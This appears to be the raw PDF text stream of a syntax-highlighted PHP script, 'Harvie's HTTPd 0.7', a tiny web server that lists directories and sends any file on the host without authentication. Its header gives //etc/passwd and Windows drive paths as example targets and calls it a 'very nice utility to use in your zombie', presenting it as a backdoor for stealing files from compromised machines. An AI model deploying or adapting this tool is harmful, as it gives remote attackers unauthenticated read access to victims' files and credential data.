4 <</Type/Font/Subtype/Type1/Name/F1/BaseFont/Helvetica/Encoding/WinAnsiEncoding>>
7 <</Type/Font/Subtype/Type1/Name/F2/BaseFont/Helvetica-Bold/Encoding/WinAnsiEncoding>>
10 <</Type/Font/Subtype/Type1/Name/F3/BaseFont/Helvetica-Oblique/Encoding/WinAnsiEncoding>>
13 <</Type/Font/Subtype/Type1/Name/F4/BaseFont/Helvetica-BoldOblique/Encoding/WinAnsiEncoding>>
19 /F1 11 Tf 0 0 0 rg (#!usr/bin/php)Tj
21 /F2 11 Tf 0 0 1 rg (<?php)Tj
23 /F1 11 Tf 0 0.498 0 rg (//Harvie's HTTPd 0.7)Tj
27 ( Allows you to binary safe download any file from remote pc)Tj
29 ( http://server:port/file)Tj
31 ( http://server:port//etc/passwd)Tj
33 ( http://server:port/C:\\dir\\file)Tj
35 ( http://server:port/C:/dir/file)Tj
37 ( Since version 0.6 there is filelisting)Tj
39 ( http://server:port/dir)Tj
41 ( http://server:port//etc)Tj
43 ( http://server:port/C:/dir)Tj
45 ( http://server:port/C:/dir/)Tj
47 ( You can also play multimedia like streams \(using XMMS, Winamp, etc...\))Tj
49 ( But this can serve only one file a time)Tj
51 ( \(if you are streaming or downloading, you can download/browse anything other,)Tj
53 ( but you can use download manager to download file by file...\))Tj
55 ( You can change port or interface by passing arguments)Tj
57 ( Usage: \(httpd.php [port] [interface_IP]\))Tj
59 ( This is very nice utility to use in your zombie.)Tj
64 (//////////////////////////////////////////////////////////////////////////////////)Tj
66 0 0 0.498 rg ($interface)Tj
68 /F2 11 Tf 0 0 0 rg (=)Tj
70 /F1 11 Tf 0 0 1 rg ("127.0.0.1")Tj
71 /F2 11 Tf 0 0 0 rg (;)Tj
73 /F1 11 Tf 0 0.498 0 rg (//$interface = "192.168.2.130";)Tj
75 0 0 0.498 rg ($port)Tj
77 /F2 11 Tf 0 0 0 rg (=)Tj
79 /F1 11 Tf 0 0.498 0.498 rg (80)Tj
80 /F2 11 Tf 0 0 0 rg (;)Tj
83 /F1 11 Tf 0 0.498 0 rg (//////////////////////////////////////////////////////////////////////////////////)Tj
85 0 0 0.498 rg ($okheader)Tj
87 /F2 11 Tf 0 0 0 rg (=)Tj
89 /F1 11 Tf 0 0.498 0 rg (//Header 200 FILE)Tj
92 0 0 1 rg ("HTTP/1.0 200 OK\\n")Tj
93 /F2 11 Tf 0 0 0 rg (.)Tj
96 /F1 11 Tf 0 0 1 rg ("Server: Harvie's HTTPd\\n")Tj
97 /F2 11 Tf 0 0 0 rg (.)Tj
100 /F1 11 Tf 0 0 1 rg ("Connection: close\\n\\n")Tj
101 /F2 11 Tf 0 0 0 rg (;)Tj
104 /F1 11 Tf 0 0 0.498 rg ($dirheader)Tj
106 /F2 11 Tf 0 0 0 rg (=)Tj
108 /F1 11 Tf 0 0.498 0 rg (//Header 301 DIR)Tj
111 0 0 1 rg ("HTTP/1.0 301 Moved Permanently\\n")Tj
112 /F2 11 Tf 0 0 0 rg (.)Tj
115 /F1 11 Tf 0 0 1 rg ("Server: Harvie's HTTPd\\n")Tj
116 /F2 11 Tf 0 0 0 rg (.)Tj
119 /F1 11 Tf 0 0 1 rg ("Location: %DIR%\\n")Tj
120 /F2 11 Tf 0 0 0 rg (.)Tj
123 /F1 11 Tf 0 0 1 rg ("Connection: close\\n\\n")Tj
124 /F2 11 Tf 0 0 0 rg (;)Tj
127 /F1 11 Tf 0 0 0.498 rg ($badheader)Tj
129 /F2 11 Tf 0 0 0 rg (=)Tj
131 /F1 11 Tf 0 0.498 0 rg (//Header 404)Tj
134 0 0 1 rg ("HTTP/1.0 404 File not found!\\n")Tj
135 /F2 11 Tf 0 0 0 rg (.)Tj
138 /F1 11 Tf 0 0 1 rg ("Server: Harvie's HTTPd\\n")Tj
139 /F2 11 Tf 0 0 0 rg (.)Tj
142 /F1 11 Tf 0 0 1 rg ("Connection: close\\n\\n")Tj
143 /F2 11 Tf 0 0 0 rg (;)Tj
146 /F1 11 Tf 0 0 0.498 rg ($err404)Tj
148 /F2 11 Tf 0 0 0 rg (=)Tj
150 /F1 11 Tf 0 0 1 rg ("ERR 404 - NOT FOUND!")Tj
151 /F2 11 Tf 0 0 0 rg (;)Tj
153 /F1 11 Tf 0 0.498 0 rg (//Error 404)Tj
156 (//////////////////////////////////////////////////////////////////////////////////)Tj
158 /F2 11 Tf 0 0 0.498 rg (if)Tj
160 0 0 0.498 rg (isset)Tj
162 /F1 11 Tf 0 0 0.498 rg ($argc)Tj
163 /F2 11 Tf 0 0 0 rg (\)\))Tj
170 /F1 11 Tf 0 0 0.498 rg ($argc)Tj
172 /F2 11 Tf 0 0 0 rg (>)Tj
174 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
175 /F2 11 Tf 0 0 0 rg (\))Tj
177 /F1 11 Tf 0 0 0.498 rg ($port)Tj
179 /F2 11 Tf 0 0 0 rg (=)Tj
181 0 0 0.498 rg (trim)Tj
183 /F1 11 Tf 0 0 0.498 rg ($argv)Tj
184 /F2 11 Tf 0 0 0 rg ([)Tj
185 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
186 /F2 11 Tf 0 0 0 rg (]\);)Tj
191 /F1 11 Tf 0 0 0.498 rg ($argc)Tj
193 /F2 11 Tf 0 0 0 rg (>)Tj
195 /F1 11 Tf 0 0.498 0.498 rg (2)Tj
196 /F2 11 Tf 0 0 0 rg (\))Tj
198 /F1 11 Tf 0 0 0.498 rg ($interface)Tj
200 /F2 11 Tf 0 0 0 rg (=)Tj
202 0 0 0.498 rg (trim)Tj
204 /F1 11 Tf 0 0 0.498 rg ($argv)Tj
205 /F2 11 Tf 0 0 0 rg ([)Tj
206 /F1 11 Tf 0 0.498 0.498 rg (2)Tj
207 /F2 11 Tf 0 0 0 rg (]\);)Tj
218 /F2 11 Tf 0 0 0 rg /F1 11 Tf 0 0.498 0 rg (///FUNCTIONS//////////////////////////////////////////////////////////////////////)Tj
220 /F2 11 Tf 0 0 0.498 rg (function)Tj
221 /F1 11 Tf 0 0 0.200 rg ( send_dir_listing)Tj
222 /F2 11 Tf 0 0 0 rg (\()Tj
223 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
224 /F2 11 Tf 0 0 0 rg (,)Tj
226 /F1 11 Tf 0 0 0.498 rg ($directory)Tj
227 /F2 11 Tf 0 0 0 rg (\))Tj
232 /F1 11 Tf 0 0 0.498 rg ($num)Tj
234 /F2 11 Tf 0 0 0 rg (=)Tj
236 /F1 11 Tf 0 0 1 rg ("0")Tj
237 /F2 11 Tf 0 0 0 rg (;)Tj
241 /F1 11 Tf 0 0.498 0 rg (//Header)Tj
244 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
246 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
247 /F2 11 Tf 0 0 0 rg (,)Tj
249 /F1 11 Tf 0 0 1 rg ("<html>\\n<head><title>Index of )Tj
250 0 0 0.498 rg ($directory)Tj
251 0 0 1 rg (</title></head>\\n<body><tt>\\n")Tj
252 /F2 11 Tf 0 0 0 rg (\);)Tj
254 /F1 11 Tf 0 0 0.200 rg ( @)Tj
255 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
257 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
258 /F2 11 Tf 0 0 0 rg (,)Tj
260 /F1 11 Tf 0 0 1 rg ("<b>Available volumes:</b><br />\\n")Tj
261 /F2 11 Tf 0 0 0 rg (\);)Tj
266 /F1 11 Tf 0 0.498 0 rg (//Special folders)Tj
269 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
271 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
272 /F2 11 Tf 0 0 0 rg (,)Tj
274 /F1 11 Tf 0 0 1 rg ("[<a href=\\"/\\">/</a>]\\n")Tj
275 /F2 11 Tf 0 0 0 rg (\);)Tj
277 /F1 11 Tf 0 0.498 0 rg (//Server root)Tj
280 /F2 11 Tf 0 0 0.498 rg (if)Tj
282 0 0 0.498 rg (is_dir)Tj
284 /F1 11 Tf 0 0 1 rg ("/")Tj
285 /F2 11 Tf 0 0 0 rg (\)\))Tj
289 /F1 11 Tf 0 0.498 0 rg (//Unix root)Tj
292 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
294 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
295 /F2 11 Tf 0 0 0 rg (,)Tj
297 /F1 11 Tf 0 0 1 rg ("[<a href=\\"//\\">//</a>]\\n")Tj
298 /F2 11 Tf 0 0 0 rg (\);)Tj
306 /F1 11 Tf 0 0.498 0 rg (//Available volumes)Tj
309 0 0 0.498 rg ($dsks)Tj
311 /F2 11 Tf 0 0 0 rg (=)Tj
313 /F1 11 Tf 0 0 1 rg ("cdefghijklmnopqrstuvwxyz")Tj
314 /F2 11 Tf 0 0 0 rg (;)Tj
316 /F1 11 Tf 0 0.498 0 rg (//Show this volumes \(if available\))Tj
319 /F2 11 Tf 0 0 0.498 rg (for)Tj
321 /F1 11 Tf 0 0 0.498 rg ($i)Tj
322 /F2 11 Tf 0 0 0 rg (=)Tj
323 /F1 11 Tf 0 0.498 0.498 rg (0)Tj
324 /F2 11 Tf 0 0 0 rg (;)Tj
325 /F1 11 Tf 0 0 0.498 rg ($i)Tj
326 /F2 11 Tf 0 0 0 rg (<)Tj
327 0 0 0.498 rg (strlen)Tj
329 /F1 11 Tf 0 0 0.498 rg ($dsks)Tj
330 /F2 11 Tf 0 0 0 rg (\);)Tj
331 /F1 11 Tf 0 0 0.498 rg ($i)Tj
332 /F2 11 Tf 0 0 0 rg (++\))Tj
339 0 0 0.498 rg (is_dir)Tj
341 /F1 11 Tf 0 0 0.498 rg ($dsks)Tj
342 /F2 11 Tf 0 0 0 rg ([)Tj
343 /F1 11 Tf 0 0 0.498 rg ($i)Tj
344 /F2 11 Tf 0 0 0 rg (].)Tj
345 /F1 11 Tf 0 0 1 rg (":")Tj
346 /F2 11 Tf 0 0 0 rg (\)\))Tj
351 /F1 11 Tf 0 0 0.498 rg ($vol)Tj
353 /F2 11 Tf 0 0 0 rg (=)Tj
355 /F1 11 Tf 0 0 0.498 rg ($dsks)Tj
356 /F2 11 Tf 0 0 0 rg ([)Tj
357 /F1 11 Tf 0 0 0.498 rg ($i)Tj
358 /F2 11 Tf 0 0 0 rg (];)Tj
360 /F1 11 Tf 0 0 0.200 rg ( @)Tj
361 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
363 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
364 /F2 11 Tf 0 0 0 rg (,)Tj
366 /F1 11 Tf 0 0 1 rg ("[<a href=\\"/)Tj
367 0 0 0.498 rg ($vol)Tj
369 0 0 0.498 rg ($vol)Tj
370 0 0 1 rg (:</a>]\\n")Tj
371 /F2 11 Tf 0 0 0 rg (\);)Tj
377 /F1 11 Tf 0 0.498 0 rg (//echo\($dsks[$i].":"\);)Tj
380 /F2 11 Tf 0 0 0 rg (})Tj
382 /F1 11 Tf 0 0 0.200 rg ( @)Tj
383 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
385 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
386 /F2 11 Tf 0 0 0 rg (,)Tj
388 /F1 11 Tf 0 0 1 rg ("<br />\\n\\n")Tj
389 /F2 11 Tf 0 0 0 rg (\);)Tj
394 /F1 11 Tf 0 0.498 0 rg (//Directory listing)Tj
397 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
399 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
400 /F2 11 Tf 0 0 0 rg (,)Tj
402 /F1 11 Tf 0 0 1 rg ("<b>Directory listing of )Tj
403 0 0 0.498 rg ($directory)Tj
404 0 0 1 rg ( :</b><br /><br />\\n\\n")Tj
405 /F2 11 Tf 0 0 0 rg (\);)Tj
407 /F1 11 Tf 0 0 0.200 rg ( @)Tj
408 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
410 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
411 /F2 11 Tf 0 0 0 rg (,)Tj
413 /F1 11 Tf 0 0 1 rg ("[DIR] <a href=\\"./../\\">Parent Directory \(../\)</a><br />\\n")Tj
414 /F2 11 Tf 0 0 0 rg (\);)Tj
417 /F1 11 Tf 0 0 0.498 rg ($files)Tj
418 /F2 11 Tf 0 0 0 rg (=)Tj
419 0 0 0.498 rg (opendir)Tj
422 /F1 11 Tf 0 0 0.498 rg ($directory)Tj
423 /F2 11 Tf 0 0 0 rg (\);)Tj
427 0 0 0.498 rg (while)Tj
430 0 0 0.498 rg (false)Tj
432 /F1 11 Tf 0 0 0.498 rg ($file)Tj
434 /F2 11 Tf 0 0 0 rg (=)Tj
436 0 0 0.498 rg (readdir)Tj
438 /F1 11 Tf 0 0 0.498 rg ($files)Tj
439 /F2 11 Tf 0 0 0 rg (\)\)\))Tj
450 /F1 11 Tf 0 0 0.498 rg ($file)Tj
452 /F2 11 Tf 0 0 0 rg (!=)Tj
454 /F1 11 Tf 0 0 1 rg (".")Tj
456 /F2 11 Tf 0 0 0 rg (&&)Tj
458 /F1 11 Tf 0 0 0.498 rg ($file)Tj
460 /F2 11 Tf 0 0 0 rg (!=)Tj
462 /F1 11 Tf 0 0 1 rg ("..")Tj
463 /F2 11 Tf 0 0 0 rg (\))Tj
471 /F1 11 Tf 0 0 0.498 rg ($num)Tj
472 /F2 11 Tf 0 0 0 rg (++;)Tj
477 0 0 0.498 rg (is_dir)Tj
479 /F1 11 Tf 0 0 1 rg (")Tj
480 0 0 0.498 rg ($directory)Tj
482 0 0 0.498 rg ($file)Tj
484 /F2 11 Tf 0 0 0 rg (\)\))Tj
489 0 0 0.498 rg (fwrite)Tj
491 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
492 /F2 11 Tf 0 0 0 rg (,)Tj
494 /F1 11 Tf 0 0 1 rg (")Tj
495 0 0 0.498 rg ($num)Tj
496 0 0 1 rg ( - [DIR] <a href=\\"./)Tj
497 0 0 0.498 rg ($file)Tj
499 0 0 0.498 rg ($file)Tj
500 0 0 1 rg (</a><br />\\n")Tj
501 /F2 11 Tf 0 0 0 rg (\);)Tj
506 0 0 0.498 rg (else)Tj
511 0 0 0.498 rg (fwrite)Tj
513 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
514 /F2 11 Tf 0 0 0 rg (,)Tj
516 /F1 11 Tf 0 0 1 rg (")Tj
517 0 0 0.498 rg ($num)Tj
518 0 0 1 rg ( - <a href=\\"./)Tj
519 0 0 0.498 rg ($file)Tj
521 0 0 0.498 rg ($file)Tj
522 0 0 1 rg (</a><br />\\n")Tj
523 /F2 11 Tf 0 0 0 rg (\);)Tj
538 /F1 11 Tf 0 0.498 0 rg (//Footer)Tj
541 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
543 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
544 /F2 11 Tf 0 0 0 rg (,)Tj
546 /F1 11 Tf 0 0 1 rg ("<br />\\n<b>Total: )Tj
547 0 0 0.498 rg ($num)Tj
548 0 0 1 rg (</b>\\n</tt></body>\\n</html>")Tj
549 /F2 11 Tf 0 0 0 rg (\);)Tj
554 /F1 11 Tf 0 0.498 0 rg (///CODE///////////////////////////////////////////////////////////////////////////)Tj
556 /F2 11 Tf 0 0 0.498 rg (echo)Tj
558 /F1 11 Tf 0 0 1 rg ("\\n\\tStarting Harvie's HTTPd at:\\n\\ttcp://)Tj
559 0 0 0.498 rg ($interface)Tj
561 0 0 0.498 rg ($port)Tj
563 /F2 11 Tf 0 0 0 rg (\);)Tj
565 /F1 11 Tf 0 0.498 0 rg (//system\("title Harvie's HTTPd at tcp://$interface:$port"\); //Microsoft Windows only)Tj
567 /F2 11 Tf 0 0 0.498 rg (set_time_limit)Tj
569 /F1 11 Tf 0 0.498 0.498 rg (0)Tj
570 /F2 11 Tf 0 0 0 rg (\);)Tj
572 /F1 11 Tf 0 0 0.498 rg ($sss)Tj
574 /F2 11 Tf 0 0 0 rg (=)Tj
576 0 0 0.498 rg (stream_socket_server)Tj
578 /F1 11 Tf 0 0 1 rg ("tcp://)Tj
579 0 0 0.498 rg ($interface)Tj
581 0 0 0.498 rg ($port)Tj
583 /F2 11 Tf 0 0 0 rg (\);)Tj
586 0 0 0.498 rg (while)Tj
588 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
589 /F2 11 Tf 0 0 0 rg (\))Tj
593 /F1 11 Tf 0 0 0.200 rg ( @)Tj
594 0 0 0.498 rg ($sfp)Tj
596 /F2 11 Tf 0 0 0 rg (=)Tj
598 0 0 0.498 rg (stream_socket_accept)Tj
600 /F1 11 Tf 0 0 0.498 rg ($sss)Tj
601 /F2 11 Tf 0 0 0 rg (\);)Tj
609 /F2 11 Tf 0 0 0 rg ( )Tj
612 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
613 /F2 11 Tf 0 0 0 rg (\))Tj
615 0 0 0.498 rg (continue)Tj
620 /F1 11 Tf 0 0 0.498 rg ($loop)Tj
622 /F2 11 Tf 0 0 0 rg (=)Tj
624 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
625 /F2 11 Tf 0 0 0 rg (;)Tj
628 0 0 0.498 rg (while)Tj
630 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
632 /F2 11 Tf 0 0 0 rg (&&)Tj
635 0 0 0.498 rg (feof)Tj
637 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
638 /F2 11 Tf 0 0 0 rg (\))Tj
642 /F1 11 Tf 0 0 0.498 rg ($loop)Tj
643 /F2 11 Tf 0 0 0 rg (\))Tj
648 /F1 11 Tf 0 0 0.498 rg ($line)Tj
650 /F2 11 Tf 0 0 0 rg (=)Tj
652 0 0 0.498 rg (fgets)Tj
654 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
655 /F2 11 Tf 0 0 0 rg (\);)Tj
658 /F1 11 Tf 0 0.498 0 rg (//echo\($line\);)Tj
661 /F2 11 Tf 0 0 0.498 rg (if)Tj
663 0 0 0.498 rg (eregi)Tj
665 /F1 11 Tf 0 0 1 rg ("\(GET|POST\)")Tj
666 /F2 11 Tf 0 0 0 rg (,)Tj
668 /F1 11 Tf 0 0 0.498 rg ($line)Tj
669 /F2 11 Tf 0 0 0 rg (\)\))Tj
674 /F1 11 Tf 0 0 0.498 rg ($line)Tj
676 /F2 11 Tf 0 0 0 rg (=)Tj
678 0 0 0.498 rg (trim)Tj
680 /F1 11 Tf 0 0 0.498 rg ($line)Tj
681 /F2 11 Tf 0 0 0 rg (\);)Tj
684 /F1 11 Tf 0 0.498 0 rg (//echo\($line\);)Tj
687 0 0 0.498 rg ($line)Tj
689 /F2 11 Tf 0 0 0 rg (=)Tj
691 0 0 0.498 rg (explode)Tj
693 /F1 11 Tf 0 0 1 rg (" ")Tj
694 /F2 11 Tf 0 0 0 rg (,)Tj
696 /F1 11 Tf 0 0 0.498 rg ($line)Tj
697 /F2 11 Tf 0 0 0 rg (\);)Tj
702 /F1 11 Tf 0 0 0.498 rg ($line)Tj
703 /F2 11 Tf 0 0 0 rg ([)Tj
704 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
705 /F2 11 Tf 0 0 0 rg (])Tj
709 0 0 0.498 rg (trim)Tj
711 0 0 0.498 rg (urldecode)Tj
713 /F1 11 Tf 0 0 0.498 rg ($line)Tj
714 /F2 11 Tf 0 0 0 rg ([)Tj
715 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
716 /F2 11 Tf 0 0 0 rg (]\)\);)Tj
725 /F1 11 Tf 0 0 0.498 rg ($line)Tj
726 /F2 11 Tf 0 0 0 rg ([)Tj
727 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
728 /F2 11 Tf 0 0 0 rg (])Tj
732 /F1 11 Tf 0 0 1 rg ("/")Tj
733 /F2 11 Tf 0 0 0 rg (\))Tj
738 /F1 11 Tf 0 0 0.498 rg ($line)Tj
739 /F2 11 Tf 0 0 0 rg ([)Tj
740 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
741 /F2 11 Tf 0 0 0 rg (])Tj
745 /F1 11 Tf 0 0 1 rg ("./")Tj
746 /F2 11 Tf 0 0 0 rg (;)Tj
751 0 0 0.498 rg (else)Tj
756 /F1 11 Tf 0 0 0.498 rg ($line)Tj
757 /F2 11 Tf 0 0 0 rg ([)Tj
758 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
759 /F2 11 Tf 0 0 0 rg (])Tj
763 0 0 0.498 rg (substr)Tj
765 /F1 11 Tf 0 0 0.498 rg ($line)Tj
766 /F2 11 Tf 0 0 0 rg ([)Tj
767 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
768 /F2 11 Tf 0 0 0 rg (],)Tj
770 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
771 /F2 11 Tf 0 0 0 rg (\);)Tj
783 0 0 0.498 rg (is_file)Tj
785 /F1 11 Tf 0 0 0.498 rg ($line)Tj
786 /F2 11 Tf 0 0 0 rg ([)Tj
787 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
788 /F2 11 Tf 0 0 0 rg (]\)\))Tj
792 /F1 11 Tf 0 0.498 0 rg (//200 OK FILE)Tj
795 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
797 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
798 /F2 11 Tf 0 0 0 rg (,)Tj
800 /F1 11 Tf 0 0 0.498 rg ($okheader)Tj
801 /F2 11 Tf 0 0 0 rg (\);)Tj
804 0 0 0.498 rg (echo)Tj
806 /F1 11 Tf 0 0 1 rg ("200 ")Tj
807 /F2 11 Tf 0 0 0 rg (.)Tj
808 /F1 11 Tf 0 0 0.498 rg ($line)Tj
809 /F2 11 Tf 0 0 0 rg ([)Tj
810 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
811 /F2 11 Tf 0 0 0 rg (]\);)Tj
814 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
816 /F2 11 Tf 0 0 0 rg (=)Tj
818 0 0 0.498 rg (fopen)Tj
820 /F1 11 Tf 0 0 0.498 rg ($line)Tj
821 /F2 11 Tf 0 0 0 rg ([)Tj
822 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
823 /F2 11 Tf 0 0 0 rg (],)Tj
825 /F1 11 Tf 0 0 1 rg ("rb")Tj
826 /F2 11 Tf 0 0 0 rg (\);)Tj
829 0 0 0.498 rg (while)Tj
832 0 0 0.498 rg (fwrite)Tj
834 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
835 /F2 11 Tf 0 0 0 rg (,)Tj
837 0 0 0.498 rg (fgets)Tj
839 /F1 11 Tf 0 0 0.498 rg ($fp)Tj
840 /F2 11 Tf 0 0 0 rg (\)\))Tj
844 /F1 11 Tf 0 0 0.200 rg ( @)Tj
845 /F2 11 Tf 0 0 0.498 rg (fclose)Tj
847 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
848 /F2 11 Tf 0 0 0 rg (\);)Tj
851 0 0 0.498 rg (echo)Tj
853 /F1 11 Tf 0 0 1 rg (" SENT!\\n")Tj
854 /F2 11 Tf 0 0 0 rg (\);)Tj
862 0 0 0.498 rg (elseif)Tj
864 0 0 0.498 rg (is_dir)Tj
866 /F1 11 Tf 0 0 0.498 rg ($line)Tj
867 /F2 11 Tf 0 0 0 rg ([)Tj
868 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
869 /F2 11 Tf 0 0 0 rg (]\)\))Tj
873 /F1 11 Tf 0 0.498 0 rg (//200 OK DIR)Tj
876 /F2 11 Tf 0 0 0.498 rg (if)Tj
878 0 0 0.498 rg (substr)Tj
880 /F1 11 Tf 0 0 0.498 rg ($line)Tj
881 /F2 11 Tf 0 0 0 rg ([)Tj
882 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
883 /F2 11 Tf 0 0 0 rg (],)Tj
885 0 0 0.498 rg (strlen)Tj
887 /F1 11 Tf 0 0 0.498 rg ($line)Tj
888 /F2 11 Tf 0 0 0 rg ([)Tj
889 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
890 /F2 11 Tf 0 0 0 rg (]\)-)Tj
891 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
892 /F2 11 Tf 0 0 0 rg (\))Tj
896 /F1 11 Tf 0 0 1 rg ("/")Tj
897 /F2 11 Tf 0 0 0 rg (\))Tj
901 /F1 11 Tf 0 0.498 0 rg (//301 MOV DIR)Tj
904 0 0 0.498 rg ($header)Tj
906 /F2 11 Tf 0 0 0 rg (=)Tj
909 /F1 11 Tf 0 0 1 rg ("/")Tj
910 /F2 11 Tf 0 0 0 rg (.)Tj
911 /F1 11 Tf 0 0 0.498 rg ($line)Tj
912 /F2 11 Tf 0 0 0 rg ([)Tj
913 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
914 /F2 11 Tf 0 0 0 rg (].)Tj
915 /F1 11 Tf 0 0 1 rg ("/")Tj
916 /F2 11 Tf 0 0 0 rg (\);)Tj
919 0 0 0.498 rg (echo)Tj
921 /F1 11 Tf 0 0 1 rg ("301 ")Tj
922 /F2 11 Tf 0 0 0 rg (.)Tj
923 /F1 11 Tf 0 0 0.498 rg ($line)Tj
924 /F2 11 Tf 0 0 0 rg ([)Tj
925 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
926 /F2 11 Tf 0 0 0 rg (].)Tj
927 /F1 11 Tf 0 0 1 rg (" -> )Tj
928 0 0 0.498 rg ($header)Tj
930 /F2 11 Tf 0 0 0 rg (\);)Tj
933 /F1 11 Tf 0 0 0.498 rg ($header)Tj
935 /F2 11 Tf 0 0 0 rg (=)Tj
937 0 0 0.498 rg (str_replace)Tj
939 /F1 11 Tf 0 0 1 rg ("%DIR%")Tj
940 /F2 11 Tf 0 0 0 rg (,)Tj
942 /F1 11 Tf 0 0 0.498 rg ($header)Tj
943 /F2 11 Tf 0 0 0 rg (,)Tj
945 /F1 11 Tf 0 0 0.498 rg ($dirheader)Tj
946 /F2 11 Tf 0 0 0 rg (\);)Tj
949 /F1 11 Tf 0 0.498 0 rg (//$header = str_replace\("./", "./", $dirheader\);)Tj
952 (//echo\($header\);)Tj
955 /F2 11 Tf 0 0 0.498 rg (fwrite)Tj
957 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
958 /F2 11 Tf 0 0 0 rg (,)Tj
960 /F1 11 Tf 0 0 0.498 rg ($header)Tj
961 /F2 11 Tf 0 0 0 rg (\);)Tj
963 /F1 11 Tf 0 0 0.200 rg ( @)Tj
964 /F2 11 Tf 0 0 0.498 rg (fclose)Tj
966 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
967 /F2 11 Tf 0 0 0 rg (\);)Tj
970 0 0 0.498 rg (break)Tj
977 0 0 0.498 rg (echo)Tj
979 /F1 11 Tf 0 0 1 rg ("200 [DIR] ")Tj
980 /F2 11 Tf 0 0 0 rg (.)Tj
981 /F1 11 Tf 0 0 0.498 rg ($line)Tj
982 /F2 11 Tf 0 0 0 rg ([)Tj
983 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
984 /F2 11 Tf 0 0 0 rg (].)Tj
985 /F1 11 Tf 0 0 1 rg ("\\n")Tj
986 /F2 11 Tf 0 0 0 rg (\);)Tj
988 /F1 11 Tf 0 0 0.200 rg ( send_dir_listing)Tj
989 /F2 11 Tf 0 0 0 rg (\()Tj
990 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
991 /F2 11 Tf 0 0 0 rg (,)Tj
993 /F1 11 Tf 0 0 0.498 rg ($line)Tj
994 /F2 11 Tf 0 0 0 rg ([)Tj
995 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
996 /F2 11 Tf 0 0 0 rg (]\);)Tj
1004 0 0 0.498 rg (else)Tj
1008 /F1 11 Tf 0 0.498 0 rg (//404 NOT FOUND)Tj
1011 /F2 11 Tf 0 0 0.498 rg (echo)Tj
1013 /F1 11 Tf 0 0 1 rg ("404 ")Tj
1014 /F2 11 Tf 0 0 0 rg (.)Tj
1015 /F1 11 Tf 0 0 0.498 rg ($line)Tj
1016 /F2 11 Tf 0 0 0 rg ([)Tj
1017 /F1 11 Tf 0 0.498 0.498 rg (1)Tj
1018 /F2 11 Tf 0 0 0 rg (].)Tj
1019 /F1 11 Tf 0 0 1 rg ("\\n")Tj
1020 /F2 11 Tf 0 0 0 rg (\);)Tj
1023 0 0 0.498 rg (fwrite)Tj
1025 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
1026 /F2 11 Tf 0 0 0 rg (,)Tj
1028 /F1 11 Tf 0 0 0.498 rg ($badheader)Tj
1029 /F2 11 Tf 0 0 0 rg (\);)Tj
1032 0 0 0.498 rg (fwrite)Tj
1034 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
1035 /F2 11 Tf 0 0 0 rg (,)Tj
1037 /F1 11 Tf 0 0 0.498 rg ($err404)Tj
1038 /F2 11 Tf 0 0 0 rg (\);)Tj
1040 /F1 11 Tf 0 0 0.200 rg ( @)Tj
1041 /F2 11 Tf 0 0 0.498 rg (fclose)Tj
1043 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
1044 /F2 11 Tf 0 0 0 rg (\);)Tj
1052 /F1 11 Tf 0 0 0.498 rg ($loop)Tj
1054 /F2 11 Tf 0 0 0 rg (=)Tj
1056 /F1 11 Tf 0 0.498 0.498 rg (0)Tj
1057 /F2 11 Tf 0 0 0 rg (;)Tj
1064 BT 1 0 0 1 72 762 Tm
1065 /F2 11 Tf 0 0 0 rg ( )Tj
1071 /F1 11 Tf 0 0 0.200 rg ( @)Tj
1072 /F2 11 Tf 0 0 0.498 rg (fclose)Tj
1074 /F1 11 Tf 0 0 0.498 rg ($sfp)Tj
1075 /F2 11 Tf 0 0 0 rg (\);)Tj
1086 <</ProcSet[/PDF/Text]
